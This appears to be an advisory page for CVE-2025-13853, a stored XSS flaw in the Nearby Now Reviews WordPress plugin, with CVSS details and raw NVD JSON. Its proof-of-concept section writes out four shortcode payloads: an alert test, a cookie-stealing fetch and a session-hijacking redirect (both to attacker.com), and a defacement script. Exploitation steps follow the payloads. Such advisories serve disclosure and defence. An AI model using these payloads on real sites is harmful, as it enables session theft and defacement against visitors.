Security Vulnerability Report
中文
CVE-2025-13853 CVSS 6.4 MEDIUM

CVE-2025-13853

Published: 2026-01-09 10:15:46
Last Modified: 2026-04-15 00:35:42

Description

The Nearby Now Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'data_tech' parameter of the nn-tech shortcode in all versions up to, and including, 5.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Nearby Now Reviews WordPress插件 <= 5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Stored XSS PoC for CVE-2025-13853 --> <!-- Affected: Nearby Now Reviews Plugin <= 5.2 --> <!-- Attack Vector: nn-tech shortcode data_tech parameter --> <!-- Method 1: Basic XSS Payload --> [nn-tech data_tech='"><script>alert("XSS")</script>'] <!-- Method 2: Cookie Stealing Payload --> [nn-tech data_tech='"><img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">'] <!-- Method 3: Session Hijacking Payload --> [nn-tech data_tech='"><script>document.location='https://attacker.com/hijack.php?cookie='+document.cookie</script>'] <!-- Method 4: Defacement Payload --> [nn-tech data_tech='"><script>document.body.innerHTML='<h1>Hacked</h1>'</script>'] <!-- HTML Context (how it appears in source) --> <!-- <div class="nn-tech">"><script>alert("XSS")</script></div> --> <!-- Exploitation Steps: --> <!-- 1. Login as Contributor or higher role --> <!-- 2. Create/Edit a post or page --> <!-- 3. Insert the malicious shortcode --> <!-- 4. Publish the post --> <!-- 5. Any user visiting the page will execute the JavaScript -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13853", "sourceIdentifier": "[email protected]", "published": "2026-01-09T10:15:45.770", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Nearby Now Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'data_tech' parameter of the nn-tech shortcode in all versions up to, and including, 5.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Nearby Now Reviews para WordPress es vulnerable a Cross-Site Scripting Almacenado a través del parámetro 'data_tech' del shortcode nn-tech en todas las versiones hasta la 5.2, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador o superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/nearby-now-reviews/tags/5.2/nn-reviews.php#L160", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/nearby-now-reviews/trunk/nn-reviews.php#L160", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8dc991ea-0d00-4734-9b9a-5af759e83540?source=cve", "source": "[email protected]"}]}}